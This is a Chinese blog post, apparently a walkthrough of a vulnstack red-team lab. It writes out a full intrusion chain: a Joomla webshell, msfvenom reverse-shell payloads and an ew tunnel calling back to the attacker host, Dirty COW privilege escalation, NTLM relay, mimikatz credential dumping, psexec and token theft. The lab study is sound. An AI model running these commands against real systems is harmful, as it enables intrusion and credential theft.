freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

vulnstack-ATT&CK 红队实战(三)
rickkk 2021-08-02 17:49:22 102475

目标:获取域控上的机密文件

0x01 外网渗透

环境配置

image-20210727112736387

网络拓补

image-20210727112856049

1.1 信息搜集

首先是nmap扫描

nmap -T4 -sT -sV 192.168.1.110

image-20210727131717494

访问80端口发现是joomlaCMS,目录扫描发现

image-20210727113605868

1.2 连接db创建超级用户

configuration.php~里面找到了数据库账号密码,成功连接数据库

image-20210727113643713

但是用户密码是加密存储的,只能尝试增加新用户,或者覆盖用户。

在joomla官网找到文档如何恢复或重置管理员密码?可以添加超级管理员

INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

密码为secret。

1.3 后台挂马

成功进入后台后,在下图发现可以更改页面的php代码

image-20210727143439053

于是插入一句话蚁剑连接(蚁剑插件可绕过disabled_function)

image-20210727145906666

1.4 msf上线【failed】

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=4444 -f elf > shell.elf

use exploit/multi/handler // 使用模块
show options // 配置
set LHOST 192.168.1.111
set LPORT 5555
set payload linux/x64/meterpreter/reverse_tcp // 设置测试的载荷
exploit //

将后门通过shell上传到内网机器后执行elf文件,发现没有回显,在排除端口号ip地址等错误后,猜测是需要进行提权,先进行信息搜集再说吧。

0x02 内网渗透

2.1 信息搜集

uname -a    # 获取所有版本信息
uname -m    # 获取Linux内核架构
cat /proc/version    # 获取内核信息 
cat /etc/*-release   # 发布信息
cat /etc/issue    # 发布信息
hostname    # 获取主机名

cat /etc/passwd    # 列出系统所有用户 
cat /etc/group    # 列出系统所有组 
w    # 查看目前登录的用户
whoami    # 查看当前用户 
id    # 查看当前用户信息 
sudo -l    # 列出目前用户可执行与无法执行的指令 

ps aux    # 查看进程信息 
ls -la /etc/cron*    # 查看计划任务
ifconfig -a    # 列出网络接口信息 
cat /etc/network/interfaces    # 列出网络接口信息 
arp -a    # 查看系统arp表 
route    # 打印路由信息
netstat -anplt    # 打印本地端口开放信息 
iptables -L    # 列出iptable的配置规则

信息搜集结果整理

$ uname -a
Linux ubuntu 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
$ w
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yy       tty1                      31Oct19  1:42   0.24s  0.23s -bash
$ route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.93.0    *               255.255.255.0   U     0      0        0 ens33
$ arp -a
? (192.168.93.1) at 00:50:56:c0:00:02 [ether] on ens33
? (192.168.93.100) at 00:0c:29:32:46:d3 [ether] on ens33
$ ip addr
inet 192.168.93.120/24 brd 192.168.93.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:feab:32ac/64 scope link 
       valid_lft forever preferred_lft forever

令人疑惑的是,我们之前访问的是192.168.1.110,应该使用了一个反向代理,继续信息搜集

/tmp/mysql/test.txt中发现一组账号密码(以后记得看tmp目录)

adduser wwwuser
passwd wwwuser_123Aqx

发现可以ssh上centos,连上后执行后门shell.elf,结果也是权限不够,只能提权了

2.2 权限提升+msf上线

信息搜集可得

Linux version 2.6.32-431.el6.x86_64 (mockbuild@c6b8.bsys.dev.centos.org) (gcc version 4.4.7 20120313 (Red Hat 4.4.7-4) (GCC) ) #1 SMP Fri Nov 22 03:15:09 UTC 2013

版本号2.6.32,因而可以尝试脏牛linux本地提权

漏洞编号:CVE-2016-5195
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权
影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

将dirty.c上传到/tmp目录下(可执行),进行提权操作

gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123456 # ./dirty <password>

生成了一个密码为123456的账户

image-20210727161457640

接下来修改后门shell.elf权限

chmod 777 shell.elf

执行后门即可成功监听

image-20210727164143951

这里有个坑点,如果你的kali机之前没上桥接模式的网卡,那么msf就监听不到,因为centos无法ping通kali

2.3 路由转发与反向代理

攻击机上执行如下:

route add 192.168.93.0 255.255.255.0 1
./ew_for_linux64 -s rcsocks -l 1080 -e 1234

当然也可以在session内进行路由配置

meterpreter > run get_local_subnets
meterpreter > run autoroute -s 192.168.4.0 -n 255.255.255.0 注意这个掩码,实战中要根据机目标机器上的掩码来的,不要闭着眼睛就直接给 0/24,不然有些机器可能会被漏掉
meterpreter > run autoroute -p 路由添加完以后,习惯性的看下到底有没有加

CentOS上传ew_for_linux64,并执行如下命令:

./ew_for_linux64 -s rssocks -d 192.168.1.111 -e 1234

ew下载地址: https://github.com/idlefire/ew

2.4 内网扫描

use auxiliary/scanner/discovery/udp_probe
set threads 10(自己的环境可以适当调高)
run

扫描结果如下:

image-20210728133441426

因内存不够,所以少开了一台虚拟机

2.5 NTLM relay攻击

关于NTLM原理可以参考这篇文章

小插曲:靶场并未安装AD,需要自己配置

攻击思路:

攻击者在CentOS上面伪造一个恶意的SMB服务器,当内网中有机器 Client1 访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给内网中的另一台机器 Client2。

首先生成后门

msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.1.11 LPORT=4567 -e x86/shikata_ga_nai -f exe -o shell.exe

将马上传到centos,之后把impacket上传到centos并进入examples目录执行以下命令

python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe

执行成功后会在centos启动smb和http服务,由于nginx占用80端口,因此要先关闭nginx

nginx -s stop

之后使用win7访问192.168.93.100,并输入密码,smbrelayx.py就会抓取用户的Net-NTLM Hash重放给内网的Windows2008,成功后就会在上面上传我们的shell.exe

image-20210728143254245

这时候就可以在msf上开启对Windows2008的监听,等待上线了(注意要先监听,后用win7访问服务器)

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.20
set AutoRunScript post/windows/manage/migrate
run

2.6 定位域管理员

PVEFindADUser.exe:它通过检验注册表里HKEY_USERS的key值来查询谁登陆过机器,可以查找域用户位置、某计算机上登录用户,定位管理员

查看管理员后,使用kiwi模块抓取密码

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

成功抓取

WIN2008\Administrator:123qwe!ASD
TEST\administrator:zxcASDqw123!!

控制其他主机

由于域内的用户名密码可以任意登录主机,因此获取用户名密码后,就可以利用 msf的exploit/windows/smb/psexec模块 登录其他主机

msf命令如下

use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass 123qwe!ASD
run

进攻域控-win 2012

由于获取到了域管理员的密码,首先尝试用msf的exploit/windows/smb/psexec模块登录,登录失败后,尝试其他方法。在msf上用msfvenom模块生成exe木马文件,上传到win 2008,将win 2008作为跳板,远程攻击win 2012。

在win2008的session上窃取管理员令牌

use incognito
list_tokens -u
impersonate_token "TEST\adminitrator"

这样就有了域控的令牌,因此可以访问2021,最后

dir \\192.168.93.10\C$\Users\Administrator\Documents

发现了机密文件flag.txt,至此拿到flag

# web安全 # 内网渗透
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 rickkk 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
rickkk LV.4
这家伙太懒了,还未填写个人描述!
  • 10 文章数
  • 2 关注者
ApacheCommonsCollections反序列化链分析
2021-09-06
GKCTF 2021
2021-08-15
vulnstack-ATT&CK 红队实战(七)
2021-08-02
文章目录